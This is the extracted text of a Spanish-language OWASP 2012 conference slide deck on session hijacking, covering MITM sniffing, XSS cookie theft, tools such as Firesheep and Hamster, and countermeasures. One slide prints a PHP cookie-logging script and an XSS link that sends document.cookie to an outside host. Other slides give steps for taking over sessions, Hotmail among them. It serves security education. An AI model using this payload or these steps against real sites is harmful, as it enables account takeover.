Session Hijacking: en aplicaciones web empresariales OWASP LATAM TOUR 2012 OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC omarc320@gmail.com opalomino@kunak.com.pe Telef: 973861650 http://www.el-palomo.com The OWASP Foundation http://www.owasp.org
AGRADECIMIENTOS A : OWASP LATAM TOUR 2012 2
Derechos de Autor y Licencia Copyright 2003 2012 Fundación OWASP Este documento es publicado bajo la licencia Creative Commons Attribution ShareAlike 3.0. Para cualquier reutilización o distribución, usted debe dejar en claro a otros los términos de la licencia sobre este trabajo. The OWASP Foundation http://www.owasp.org
OWASP LATAM TOUR 2012 Ing. Sistemas y Maestrista de Ing. de Computación y Sistemas, CEH, Security+, ITIL v3. Consultor en seguridad de información de KUNAK Consulting. Psicólogo que aun no comienza sus estudios. Escritor en mis tiempos libres: http://www.el-palomo.com http://www.facebook.com/el.palomo.seguridad.informacion
INDICE 1. Introducción Qué es el session hijacking? Objetivo de la presentación Ejercicio 1: Demostración de la facilidad del robo de 2. Soy vulnerable? Técnicas y métodos de explotación Escenarios de ataque: Ejercicio 2: Hombre en el medio (MiTM) Ejercicio 3: Cross Site Scripting (XSS) 3. Robo de en aplicaciones web comerciales: Hotmail, Facebook y Wordpress 4. Técnicas y método para evitar el secuestro/robo de 5. Conclusiones OWASP LATAM TOUR 2012 5
RESUMEN Cómo funciona el de Qué es session hijacking? Es el secuestro/robo de (identificación) de usuarios para lograr acceso privilegiado a una aplicación web comprometiendo la integridad y confidencialidad de la información. OWASP LATAM TOUR 2012 6
RESUMEN Cómo funciona el de IMPORTANCIA La inadecuada gestión de en aplicaciones web empresariales se ha convertido en la tercera vulnerabilidad en aplicaciones web (OWASP Top 10 2010) El impacto de explotar esta vulnerabilidad es CRÍTICO debido a la exposición de información restringida para el negocio. OWASP LATAM TOUR 2012 7
Cómo funciona el de Funcionamiento: Man in the middle 1 El usuario ha ingresado normalmente a una aplicación web comercial o corporativo, como: Hotmail Facebook Aplicaciones web particulares (corporativos) 2 Importante: El usuario (la víctima) no se entera que su sesión de aplicación web ha sido vulnerada. El atacante encuentra un mecanismo para averiguar el identificador de SESIÓN y realizar el secuestro de la sesión del usuario. OWASP LATAM TOUR 2012 8
Cómo funciona el de Funcionamiento: Cross Site Scripting 2 1. Un usuario normal ingresa a la App. Web y ejecuta el código Javascript. 2. El código Javascript envía el código de Sesión al servidor web externo. 1 Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web. OWASP LATAM TOUR 2012 1. El usuario malicioso prepara un servidor web externo para almacenar las. 2. El usuarios malicioso coloca código JavaScript sobre la App. Web Vulnerable. 9
OWASP LATAM TOUR 2012 Cómo funciona el de Funcionamiento: Cross Site Scripting 1 <?php $session = $_GET["cookie"]; $date = date("l ds of F Y h:i:s A"); $user_agent = $_SERVER['HTTP_USER_AGENT']; $file = fopen('log.txt','a'); fwrite($file, "DATE: $date USER AGENT: $user_agent COOKIE: $session \n"); fclose($file); header("location: http://xxxxxxx/hijacking/listado.php");?> Importante: Un usuario perspicaz puede darse cuenta de la inserción de código malicioso en la página web. <a href="#" onclick=document.location="htt p://192.168.1.48/steal.php?cook ie="+escape(document.cookie);> Ver aqui los detalles</a> 10
Cómo funciona el de Por qué sucede esto? 1 Cuando el usuario ingresa a una página web: 1. Se crea una sesión aleatoria en el servidor web, esta sesión se almacena en una cookie o en una sesión. 2. Esta cookie viaja por la web cada vez que el cliente navega por la aplicación. La cookie contiene un identificador de sesión. Esto sucede porque: La transmisión de la sesión viaja en texto plano (MITM) Cross Site Scripting (XSS) Algoritmo débil de ID de sesión ( predecibles o muy pequeñas). Incorrecta configuración del bloqueo de. Sesiones que nunca expiran. OWASP LATAM TOUR 2012 2 1. El atacante realiza un ataque para conseguir la sesión del usuario: Hombre en el medio (Man in the middle MiTM) Predecir el identificador de sesión (Predict Session) Cross site scripting (XSS) Otros de menos probabilidad 2. El atacante modifica la cookie e ingresa a la aplicación web con el contenido restringido de la víctima.
OWASP LATAM TOUR 2012 Cómo funciona el de Vamos a la práctica Aplicación web PHP : 1. Capturamos la sesión mediante la técnica de hombre en el medio. 2. Identificamos la cookie y el número de sesión. 3. Modificamos la cookie mediante una herramienta: Advanced Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña. Aplicaciones web en internet (HOTMAIL): 1. Capturamos la sesión mediante la técnica de hombre en el medio. 2. Identificamos la cookie: RPSTAuth 3. Modificamos la cookie mediante una herramienta: Advanced Cookie Manager. 4. Accedemos a la aplicación sin usuario ni contraseña.
EJEMPLOS
OWASP LATAM TOUR 2012 Cómo funciona el de Debemos automatizar el ataque. Hamster y Ferret Ferret: Herramienta para formatear el archivo PCAP producto del sniffing. Hamster: Proxy que muestra las cookies formateadas por Ferret. que funcionan en Windows y Linux. Firesheep Plugin de Mozilla Firefox Automatiza de manera muy rápida el robo de. A la fecha (2012) el plugin está descontinuado. Greasemonkey Plugin de Mozilla Firefox Permite ingresar la cookie capturada mediante MITM
OWASP LATAM TOUR 2012 Cómo funciona el de Debemos automatizar el ataque. Greasemonkey / Wireshark Cookie Dump Plugin de Mozilla Firefox Permite ingresar la cookie capturada mediante MITM
OWASP LATAM TOUR 2012 Cómo funciona el de Firesheep Plugin de Mozilla Firefox Automatiza de manera muy rápida el robo de. A la fecha (2012) el plugin está descontinuado. 1. El atacante realiza un ataque para conseguir la sesión del usuario (MITM). 2. Firesheep coge el identificador de sesión y te permite ingresar a la aplicación de la manera más fácil y sencilla.
EJEMPLOS
Summary & Conclusion
Cómo funciona el de UTILIZAR CONEXIONES SSL PARA TODA LA PÁGINA WEB Y NO SÓLO PARA EL LOGIN DE APLICACIONES WEB. REALIZAR UN CORRECTO FILTRADO DE VARIABLES EN APLICACIONES WEB PARA EVITAR ATAQUES XSS. EVITAR UTILIZAR REDES PÚBLICAS, ASEGURASE HACERLO A TRAVÉS DE UNA CONEXIÓN VPN. CONFIGURAR TODOS LOS SERVICIOS POSIBLES A TRAVÉS DE HTTPS: Hotmail, Facebook, Twitter, etc. OWASP LATAM TOUR 2012 19
Preguntas OWASP LATAM TOUR 2012 The OWASP Foundation http://www.owasp.org 20
Session Hijacking: en aplicaciones web empresariales OWASP LATAM TOUR 2012 OMAR PALOMINO HUAMANÍ KUNAK CONSULTING SAC omarc320@gmail.com opalomino@kunak.com.pe Telef: 973861650 http://www.el-palomo.com The OWASP Foundation http://www.owasp.org